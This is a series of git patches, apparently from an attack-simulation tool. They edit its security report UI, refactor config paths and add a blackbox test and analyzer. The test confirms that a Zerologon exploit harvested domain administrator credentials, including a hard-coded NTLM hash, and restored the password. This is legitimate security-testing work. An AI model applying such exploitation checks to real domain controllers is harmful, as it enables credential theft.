this.generateAzureIssue(issue); break; - case 'struts2': + case "struts2": issueData = this.generateStruts2Issue(issue); break; - case 'weblogic': + case "weblogic": issueData = this.generateWebLogicIssue(issue); break; - case 'hadoop': + case "hadoop": issueData = this.generateHadoopIssue(issue); break; - case 'mssql': + case "mssql": issueData = this.generateMSSQLIssue(issue); break; - case 'drupal': + case "drupal": issueData = this.generateDrupalIssue(issue); break; - case 'zerologon': + case "zerologon": issueData = this.generateZerologonIssue(issue); break; } From 9e3fe03ce1be23acca163f315d92c7a3e8a59104 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Mar 2021 17:16:50 +0200 Subject: [PATCH 369/466] Replace double quotes with single quotes in SecurityReport.js --- .../report-components/SecurityReport.js | 360 +++++++++--------- 1 file changed, 180 insertions(+), 180 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 77b7afde8..f96b98cdb 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -110,7 +110,7 @@ class ReportPageComponent extends AuthComponent { print(); }}/>
    -
    +

    {content} @@ -142,7 +142,7 @@ class ReportPageComponent extends AuthComponent { generateReportOverviewSection() { return ( -
    +

    Overview

    @@ -151,7 +151,7 @@ class ReportPageComponent extends AuthComponent { this.state.report.glance.exploited.length > 0 ? '' : -

    +

    To improve the monkey's detection rates, try adding users and passwords and enable the "Local network @@ -160,8 +160,8 @@ class ReportPageComponent extends AuthComponent { }

    The first monkey run was started on {this.state.report.overview.monkey_start_time}. After {this.state.report.overview.monkey_duration}, all monkeys finished + className='badge badge-info'>{this.state.report.overview.monkey_start_time}. After {this.state.report.overview.monkey_duration}, all monkeys finished propagation attempts.

    @@ -238,7 +238,7 @@ class ReportPageComponent extends AuthComponent { generateReportFindingsSection() { return ( -

    +

    Security Findings

    @@ -252,7 +252,7 @@ class ReportPageComponent extends AuthComponent { }).length > 0 ?
    During this simulated attack the Monkey uncovered + className='badge badge-warning'> {this.state.report.overview.issues.filter(function (x) { return x === true; }).length} threats: @@ -264,50 +264,50 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.issues[this.Issue.ELASTIC] &&
  • Elasticsearch servers are vulnerable to .
  • } {this.state.report.overview.issues[this.Issue.VSFTPD] &&
  • VSFTPD is vulnerable to .
  • } {this.state.report.overview.issues[this.Issue.SAMBACRY] &&
  • Samba servers are vulnerable to β€˜SambaCry’ ( ).
  • } {this.state.report.overview.issues[this.Issue.SHELLSHOCK] &&
  • Machines are vulnerable to β€˜Shellshock’ ( ).
  • } {this.state.report.overview.issues[this.Issue.CONFICKER] &&
  • Machines are vulnerable to β€˜Conficker’ ( ).
  • } @@ -317,20 +317,20 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.issues[this.Issue.AZURE] &&
  • Azure machines expose plaintext passwords. ( )
  • } {this.state.report.overview.issues[this.Issue.STRUTS2] &&
  • Struts2 servers are vulnerable to remote code execution. ( )
  • } @@ -346,10 +346,10 @@ class ReportPageComponent extends AuthComponent { {this.state.report.overview.issues[this.Issue.DRUPAL] &&
  • Drupal servers are susceptible to a remote code execution vulnerability ().
  • @@ -360,7 +360,7 @@ class ReportPageComponent extends AuthComponent { :
    During this simulated attack the Monkey uncovered 0 threats. + className='badge badge-success'>0 threats.
    }
    @@ -421,10 +421,10 @@ class ReportPageComponent extends AuthComponent { if (this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]) { zerologonOverview.push( Automatic password restoration on a domain controller failed! - ) @@ -432,10 +432,10 @@ class ReportPageComponent extends AuthComponent { if (this.state.report.overview.issues[this.Issue.ZEROLOGON]) { zerologonOverview.push(<> Some domain controllers are vulnerable to Zerologon exploiter( - )! ) @@ -447,7 +447,7 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return ( -
    +
    {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise, * don't render it (since the issues themselves will be empty. */} {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ? @@ -470,36 +470,36 @@ class ReportPageComponent extends AuthComponent { let exploitPercentage = (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; return ( -
    +

    The Network from the Monkey's Eyes

    The Monkey discovered {this.state.report.glance.scanned.length} machines and + className='badge badge-warning'>{this.state.report.glance.scanned.length} machines and successfully breached {this.state.report.glance.exploited.length} of them. + className='badge badge-danger'>{this.state.report.glance.exploited.length} of them.

    -
    - +
    + {Math.round(exploitPercentage)}% of scanned machines exploited

    From the attacker's point of view, the network looks like this:

    -
    +
    Legend: - Exploit + Exploit | - Scan + Scan | - Tunnel + Tunnel | - Island Communication + Island Communication
    @@ -529,17 +529,17 @@ class ReportPageComponent extends AuthComponent { generateReportFooter() { return ( - } ); diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss index 2c56e941f..520e04e1d 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/report/ReportPage.scss @@ -94,3 +94,7 @@ span.cross-segment-service { line-height: 1em; top: -3px; } + +.zero-logon-overview-pass-restore-failed svg { + margin: 0 10px 0 0; +} From 6babcd099aec68a1455a57e6fde838b9f76ce5ec Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 2 Mar 2021 13:02:56 +0530 Subject: [PATCH 374/466] Change warning order and phrasing in report --- .../report-components/SecurityReport.js | 44 +++++++++---------- 1 file changed, 22 insertions(+), 22 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 802d413df..82ac51735 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -315,24 +315,24 @@ class ReportPageComponent extends AuthComponent {
  • Machines are accessible using passwords supplied by the user during the Monkey’s configuration.
  • } {this.state.report.overview.issues[this.Issue.AZURE] && -
  • Azure machines expose plaintext passwords. ( +
  • Azure machines expose plaintext passwords ( ) + more info + ).
  • } {this.state.report.overview.issues[this.Issue.STRUTS2] && -
  • Struts2 servers are vulnerable to remote code execution. ( +
  • Struts2 servers are vulnerable to remote code execution ( ) + ).
  • } {this.state.report.overview.issues[this.Issue.WEBLOGIC] &&
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • } @@ -417,10 +417,20 @@ class ReportPageComponent extends AuthComponent { generateZerologonOverview() { let zerologonOverview = []; - + if (this.state.report.overview.issues[this.Issue.ZEROLOGON]) { + zerologonOverview.push(<> + Some Windows domain controllers are vulnerable to 'Zerologon' ( + ). + ) + } if (this.state.report.overview.issues[this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]) { zerologonOverview.push( - +
    Automatic password restoration on a domain controller failed! )! - ) - } else { + else { return null; } return (
  • {zerologonOverview}
  • ) @@ -989,8 +989,8 @@ class ReportPageComponent extends AuthComponent { href='https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017' target={'_blank'} className={'security-report-link'}> - Microsoft's documentation. - + Microsoft's documentation + . ); @@ -1013,8 +1013,8 @@ class ReportPageComponent extends AuthComponent { href='https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472' target={'_blank'} className={'security-report-link'}> - Microsoft's documentation. - + Microsoft's documentation + . {!issue.password_restored &&

    From 5f66a99f30fd7a05048764cbfd9482ebd21ed349 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 2 Mar 2021 14:41:16 +0530 Subject: [PATCH 375/466] Consider non-threat issues when calculating threat count --- .../report-components/SecurityReport.js | 24 ++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 82ac51735..63ff12444 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -46,6 +46,8 @@ class ReportPageComponent extends AuthComponent { ZEROLOGON_PASSWORD_RESTORE_FAILED: 16 }; + NotThreats = [this.Issue.ZEROLOGON_PASSWORD_RESTORE_FAILED]; + Warning = { CROSS_SEGMENT: 0, @@ -253,9 +255,8 @@ class ReportPageComponent extends AuthComponent {
    During this simulated attack the Monkey uncovered - {this.state.report.overview.issues.filter(function (x) { - return x === true; - }).length} threats: + {this.getThreatCount()} + :
    ); } + + componentDidUpdate(_prevProps) { + this.setMasterCheckboxState(this.props.value); + } } export default AdvancedMultiSelect; From 5e21ff88cb6f8f2b74e0f52a521eb113f2168a38 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 5 Mar 2021 12:32:57 -0500 Subject: [PATCH 400/466] ui: minor style changes in AdvancedMultiSelect --- .../components/ui-components/AdvancedMultiSelect.js | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js index a8878c986..193cb40b0 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/AdvancedMultiSelect.js @@ -43,7 +43,7 @@ class AdvancedMultiSelect extends React.Component { infoPaneParams: getDefaultPaneParams( this.infoPaneRefString, this.registry, - this.isUnsafeOptionSelected(this.props.value) + this.isUnsafeOptionSelected(props.value) ) }; } @@ -164,11 +164,12 @@ class AdvancedMultiSelect extends React.Component { render() { const { - schema, + autofocus, id, - required, multiple, - autofocus + required, + schema, + value } = this.props; return ( @@ -181,7 +182,7 @@ class AdvancedMultiSelect extends React.Component { + selectedValues={value} enumOptions={this.enumOptions}/> Date: Mon, 8 Mar 2021 11:02:15 +0200 Subject: [PATCH 401/466] Moved common config value paths to common --- .../config_schema => common}/config_value_paths.py | 0 .../cc/services/attack/technique_reports/T1065.py | 2 +- monkey/monkey_island/cc/services/config.py | 8 ++++---- monkey/monkey_island/cc/services/configuration/utils.py | 2 +- monkey/monkey_island/cc/services/reporting/report.py | 6 +++--- .../zero_trust/scoutsuite/scoutsuite_auth_service.py | 2 +- .../zero_trust/scoutsuite/test_scoutsuite_auth_service.py | 2 +- 7 files changed, 11 insertions(+), 11 deletions(-) rename monkey/{monkey_island/cc/services/config_schema => common}/config_value_paths.py (100%) diff --git a/monkey/monkey_island/cc/services/config_schema/config_value_paths.py b/monkey/common/config_value_paths.py similarity index 100% rename from monkey/monkey_island/cc/services/config_schema/config_value_paths.py rename to monkey/common/config_value_paths.py diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index c3fcd03e8..3b18be488 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -4,7 +4,7 @@ from monkey_island.cc.services.config import ConfigService __author__ = "VakarisZ" -from monkey_island.cc.services.config_schema.config_value_paths import CURRENT_SERVER_PATH +from common.config_value_paths import CURRENT_SERVER_PATH class T1065(AttackTechnique): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b4370a63b..390380131 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -14,10 +14,10 @@ from monkey_island.cc.services.config_schema.config_schema import SCHEMA __author__ = "itay.mizeretz" -from monkey_island.cc.services.config_schema.config_value_paths import (AWS_KEYS_PATH, EXPORT_MONKEY_TELEMS_PATH, - LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, - PASSWORD_LIST_PATH, SSH_KEYS_PATH, - STARTED_ON_ISLAND_PATH, USER_LIST_PATH) +from common.config_value_paths import (AWS_KEYS_PATH, EXPORT_MONKEY_TELEMS_PATH, + LM_HASH_LIST_PATH, NTLM_HASH_LIST_PATH, + PASSWORD_LIST_PATH, SSH_KEYS_PATH, + STARTED_ON_ISLAND_PATH, USER_LIST_PATH) logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py index 48857e2e3..493d5af03 100644 --- a/monkey/monkey_island/cc/services/configuration/utils.py +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -1,5 +1,5 @@ from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.config_schema.config_value_paths import INACCESSIBLE_SUBNETS_PATH +from common.config_value_paths import INACCESSIBLE_SUBNETS_PATH def get_config_network_segments_as_subnet_groups(): diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 5970a33b7..a23aa6d85 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -12,9 +12,9 @@ from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey from monkey_island.cc.services.utils.network_utils import get_subnets, local_ip_addresses from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.config_schema.config_value_paths import (EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH, - PASSWORD_LIST_PATH, SUBNET_SCAN_LIST_PATH, - USER_LIST_PATH) +from common.config_value_paths import (EXPLOITER_CLASSES_PATH, LOCAL_NETWORK_SCAN_PATH, + PASSWORD_LIST_PATH, SUBNET_SCAN_LIST_PATH, + USER_LIST_PATH) from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.reporting.pth_report import PTHReportService diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py index dc3f8d5ee..b5d405234 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py @@ -6,7 +6,7 @@ from common.cloud.scoutsuite_consts import CloudProviders from common.utils.exceptions import InvalidAWSKeys from monkey_island.cc.server_utils.encryptor import encryptor from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.config_schema.config_value_paths import AWS_KEYS_PATH +from common.config_value_paths import AWS_KEYS_PATH def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]: diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py index 24e700ce6..c35e55a8f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_auth_service.py @@ -6,7 +6,7 @@ import dpath.util from monkey_island.cc.database import mongo from monkey_island.cc.server_utils import encryptor from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.config_schema.config_value_paths import AWS_KEYS_PATH +from common.config_value_paths import AWS_KEYS_PATH from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import is_aws_keys_setup from monkey_island.cc.test_common.fixtures import FixtureEnum From f6b068229735383fc9f65833b7e430494956b5cb Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 11:07:24 +0200 Subject: [PATCH 402/466] Added ZeroLogon test to the BlackBox infrastructure. --- .../monkey_zoo/blackbox/analyzers/analyzer.py | 2 +- .../blackbox/analyzers/zerologon_analyzer.py | 42 +++++++++++++++++++ .../blackbox/island_configs/zerologon.py | 13 ++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 17 ++++++++ 4 files changed, 73 insertions(+), 1 deletion(-) create mode 100644 envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py create mode 100644 envs/monkey_zoo/blackbox/island_configs/zerologon.py diff --git a/envs/monkey_zoo/blackbox/analyzers/analyzer.py b/envs/monkey_zoo/blackbox/analyzers/analyzer.py index d6043feeb..13db46cb3 100644 --- a/envs/monkey_zoo/blackbox/analyzers/analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/analyzer.py @@ -4,5 +4,5 @@ from abc import ABCMeta, abstractmethod class Analyzer(object, metaclass=ABCMeta): @abstractmethod - def analyze_test_results(self): + def analyze_test_results(self) -> bool: raise NotImplementedError() diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py new file mode 100644 index 000000000..691724830 --- /dev/null +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -0,0 +1,42 @@ +from typing import List + +import dpath.util + +from common.config_value_paths import USER_LIST_PATH, PASSWORD_LIST_PATH, NTLM_HASH_LIST_PATH, LM_HASH_LIST_PATH +from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer +from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog +from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient + +# Query for telemetry collection to see if password restoration was successful +TELEM_QUERY = {'telem_category': 'exploit', + 'data.exploiter': 'ZerologonExploiter', + 'data.info.password_restored': True} + + +class ZeroLogonAnalyzer(Analyzer): + + def __init__(self, island_client: MonkeyIslandClient, expected_credentials: List[str]): + self.island_client = island_client + self.expected_credentials = expected_credentials + self.log = AnalyzerLog(self.__class__.__name__) + + def analyze_test_results(self): + self.log.clear() + return self._analyze_credential_gathering() and self._analyze_credential_restore() + + def _analyze_credential_gathering(self) -> bool: + credentials_on_island = [] + config = self.island_client.get_config() + credentials_on_island.extend(dpath.util.get(config['configuration'], USER_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config['configuration'], NTLM_HASH_LIST_PATH)) + credentials_on_island.extend(dpath.util.get(config['configuration'], LM_HASH_LIST_PATH)) + return ZeroLogonAnalyzer._is_all_credentials_in_list(self.expected_credentials, + credentials_on_island) + + @staticmethod + def _is_all_credentials_in_list(expected_creds: List[str], + all_creds: List[str]) -> bool: + return all((cred in all_creds) for cred in expected_creds) + + def _analyze_credential_restore(self) -> bool: + return bool(self.island_client.find_telems_in_db(TELEM_QUERY)) diff --git a/envs/monkey_zoo/blackbox/island_configs/zerologon.py b/envs/monkey_zoo/blackbox/island_configs/zerologon.py new file mode 100644 index 000000000..725fa91b9 --- /dev/null +++ b/envs/monkey_zoo/blackbox/island_configs/zerologon.py @@ -0,0 +1,13 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.island_configs.base_template import BaseTemplate + + +class ZeroLogon(BaseTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update({ + "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], + "basic_network.scope.subnet_scan_list": ["10.2.2.25"] + }) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index d895f7cfe..7560b5d42 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -7,6 +7,7 @@ from typing_extensions import Type from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import \ CommunicationAnalyzer +from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZeroLogonAnalyzer from envs.monkey_zoo.blackbox.island_client.island_config_parser import \ IslandConfigParser from envs.monkey_zoo.blackbox.island_client.monkey_island_client import \ @@ -25,6 +26,7 @@ from envs.monkey_zoo.blackbox.island_configs.tunneling import Tunneling from envs.monkey_zoo.blackbox.island_configs.weblogic import Weblogic from envs.monkey_zoo.blackbox.island_configs.wmi_mimikatz import WmiMimikatz from envs.monkey_zoo.blackbox.island_configs.wmi_pth import WmiPth +from envs.monkey_zoo.blackbox.island_configs.zerologon import ZeroLogon from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import \ TestLogsHandler from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest @@ -160,6 +162,21 @@ class TestMonkeyBlackbox: def test_wmi_pth(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, WmiPth, "WMI_PTH") + def test_zerologon_exploiter(self, island_client): + test_name = "ZeroLogon_exploiter" + expected_creds = ["test_username", "test_ntlm_hash"] + raw_config = IslandConfigParser.get_raw_config(ZeroLogon, island_client) + analyzer = ZeroLogonAnalyzer(island_client, expected_creds) + log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + ExploitationTest( + name=test_name, + island_client=island_client, + raw_config=raw_config, + analyzers=[analyzer], + timeout=DEFAULT_TIMEOUT_SECONDS, + log_handler=log_handler).run() + TestMonkeyBlackbox.run_exploitation_test(island_client, ZeroLogon, "ZeroLogon_exploiter") + @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.") def test_report_generation_performance(self, island_client, quick_performance_tests): """ From 263fa53ea558d9e5065135827ea7375d8c377640 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 11:13:31 +0200 Subject: [PATCH 403/466] Added an endpoint on the island for telemetry tests. This allows for tests like blackbox tests to send queries and check whether a certain telemetry is in the database or not --- .../blackbox/island_client/monkey_island_client.py | 11 ++++++++++- monkey/monkey_island/cc/app.py | 3 +++ .../cc/resources/test/telemetry_test.py | 13 +++++++++++++ 3 files changed, 26 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/resources/test/telemetry_test.py diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index 050cfe04c..304996ebd 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -1,6 +1,7 @@ import json import logging from time import sleep +from typing import Union from bson import json_util @@ -8,6 +9,7 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import Monkey SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5 MONKEY_TEST_ENDPOINT = 'api/test/monkey' +TELEMETRY_TEST_ENDPOINT = 'api/test/telemetry' LOG_TEST_ENDPOINT = 'api/test/log' LOGGER = logging.getLogger(__name__) @@ -67,6 +69,13 @@ class MonkeyIslandClient(object): MonkeyIslandClient.form_find_query_for_request(query)) return MonkeyIslandClient.get_test_query_results(response) + def find_telems_in_db(self, query: dict): + if query is None: + raise TypeError + response = self.requests.get(TELEMETRY_TEST_ENDPOINT, + MonkeyIslandClient.form_find_query_for_request(query)) + return MonkeyIslandClient.get_test_query_results(response) + def get_all_monkeys_from_db(self): response = self.requests.get(MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)) @@ -78,7 +87,7 @@ class MonkeyIslandClient(object): return MonkeyIslandClient.get_test_query_results(response) @staticmethod - def form_find_query_for_request(query): + def form_find_query_for_request(query: Union[dict, None]) -> dict: return {'find_query': json_util.dumps(query)} @staticmethod diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c53c04caa..c7fd0006f 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -7,6 +7,7 @@ from werkzeug.exceptions import NotFound import monkey_island.cc.environment.environment_singleton as env_singleton from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH +from monkey_island.cc.resources.test.telemetry_test import TelemetryTest from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder @@ -145,9 +146,11 @@ def init_api_resources(api): api.add_resource(ScoutSuiteAuth, '/api/scoutsuite_auth/') api.add_resource(AWSKeys, '/api/aws_keys') + # Resources used by black box tests api.add_resource(MonkeyTest, '/api/test/monkey') api.add_resource(ClearCaches, '/api/test/clear_caches') api.add_resource(LogTest, '/api/test/log') + api.add_resource(TelemetryTest, '/api/test/telemetry') def init_app(mongo_url): diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/test/telemetry_test.py new file mode 100644 index 000000000..29108070e --- /dev/null +++ b/monkey/monkey_island/cc/resources/test/telemetry_test.py @@ -0,0 +1,13 @@ +import flask_restful +from bson import json_util +from flask import request + +from monkey_island.cc.database import mongo +from monkey_island.cc.resources.auth.auth import jwt_required + + +class TelemetryTest(flask_restful.Resource): + @jwt_required + def get(self, **kw): + find_query = json_util.loads(request.args.get('find_query')) + return {'results': list(mongo.db.telemetry.find(find_query))} From 44f6ce36b6c60064d318f590484521fb8ecf5fd0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 12:05:00 +0200 Subject: [PATCH 404/466] Fixed credentials in zerologon exploiter to match. --- envs/monkey_zoo/blackbox/island_configs/zerologon.py | 4 +++- envs/monkey_zoo/blackbox/test_blackbox.py | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_configs/zerologon.py b/envs/monkey_zoo/blackbox/island_configs/zerologon.py index 725fa91b9..3c31e3d6a 100644 --- a/envs/monkey_zoo/blackbox/island_configs/zerologon.py +++ b/envs/monkey_zoo/blackbox/island_configs/zerologon.py @@ -9,5 +9,7 @@ class ZeroLogon(BaseTemplate): config_values.update({ "basic.exploiters.exploiter_classes": ["ZerologonExploiter"], - "basic_network.scope.subnet_scan_list": ["10.2.2.25"] + "basic_network.scope.subnet_scan_list": ["10.2.2.25"], + # Empty list to make sure ZeroLogon adds "Administrator" username + "basic.credentials.exploit_user_list": [] }) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 7560b5d42..d3496a519 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -164,7 +164,9 @@ class TestMonkeyBlackbox: def test_zerologon_exploiter(self, island_client): test_name = "ZeroLogon_exploiter" - expected_creds = ["test_username", "test_ntlm_hash"] + expected_creds = ["Administrator", + "aad3b435b51404eeaad3b435b51404ee", + "2864b62ea4496934a5d6e86f50b834a5"] raw_config = IslandConfigParser.get_raw_config(ZeroLogon, island_client) analyzer = ZeroLogonAnalyzer(island_client, expected_creds) log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) From b43f6690812216fffe4ee02f21320d1a22363bcd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 12:35:31 +0200 Subject: [PATCH 405/466] Bugfix: removed unneeded exploitation test run in ZeroLogon BB test --- envs/monkey_zoo/blackbox/test_blackbox.py | 1 - 1 file changed, 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index d3496a519..4d083907f 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -177,7 +177,6 @@ class TestMonkeyBlackbox: analyzers=[analyzer], timeout=DEFAULT_TIMEOUT_SECONDS, log_handler=log_handler).run() - TestMonkeyBlackbox.run_exploitation_test(island_client, ZeroLogon, "ZeroLogon_exploiter") @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.") def test_report_generation_performance(self, island_client, quick_performance_tests): From 70ec513f51ac9a26702cb3a07252cad0998ee243 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 8 Mar 2021 13:10:14 +0200 Subject: [PATCH 406/466] Added logging to the ZeroLogon analyzer --- .../blackbox/analyzers/zerologon_analyzer.py | 37 +++++++++++++++---- 1 file changed, 30 insertions(+), 7 deletions(-) diff --git a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py index 691724830..20fdac468 100644 --- a/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py +++ b/envs/monkey_zoo/blackbox/analyzers/zerologon_analyzer.py @@ -1,4 +1,5 @@ from typing import List +from pprint import pformat import dpath.util @@ -22,7 +23,9 @@ class ZeroLogonAnalyzer(Analyzer): def analyze_test_results(self): self.log.clear() - return self._analyze_credential_gathering() and self._analyze_credential_restore() + is_creds_gathered = self._analyze_credential_gathering() + is_creds_restored = self._analyze_credential_restore() + return is_creds_gathered and is_creds_restored def _analyze_credential_gathering(self) -> bool: credentials_on_island = [] @@ -30,13 +33,33 @@ class ZeroLogonAnalyzer(Analyzer): credentials_on_island.extend(dpath.util.get(config['configuration'], USER_LIST_PATH)) credentials_on_island.extend(dpath.util.get(config['configuration'], NTLM_HASH_LIST_PATH)) credentials_on_island.extend(dpath.util.get(config['configuration'], LM_HASH_LIST_PATH)) - return ZeroLogonAnalyzer._is_all_credentials_in_list(self.expected_credentials, - credentials_on_island) + return self._is_all_credentials_in_list(credentials_on_island) - @staticmethod - def _is_all_credentials_in_list(expected_creds: List[str], + def _is_all_credentials_in_list(self, all_creds: List[str]) -> bool: - return all((cred in all_creds) for cred in expected_creds) + credentials_missing = [cred for cred in self.expected_credentials if cred not in all_creds] + self._log_creds_not_gathered(credentials_missing) + return not credentials_missing + + def _log_creds_not_gathered(self, missing_creds: List[str]): + if not missing_creds: + self.log.add_entry("ZeroLogon 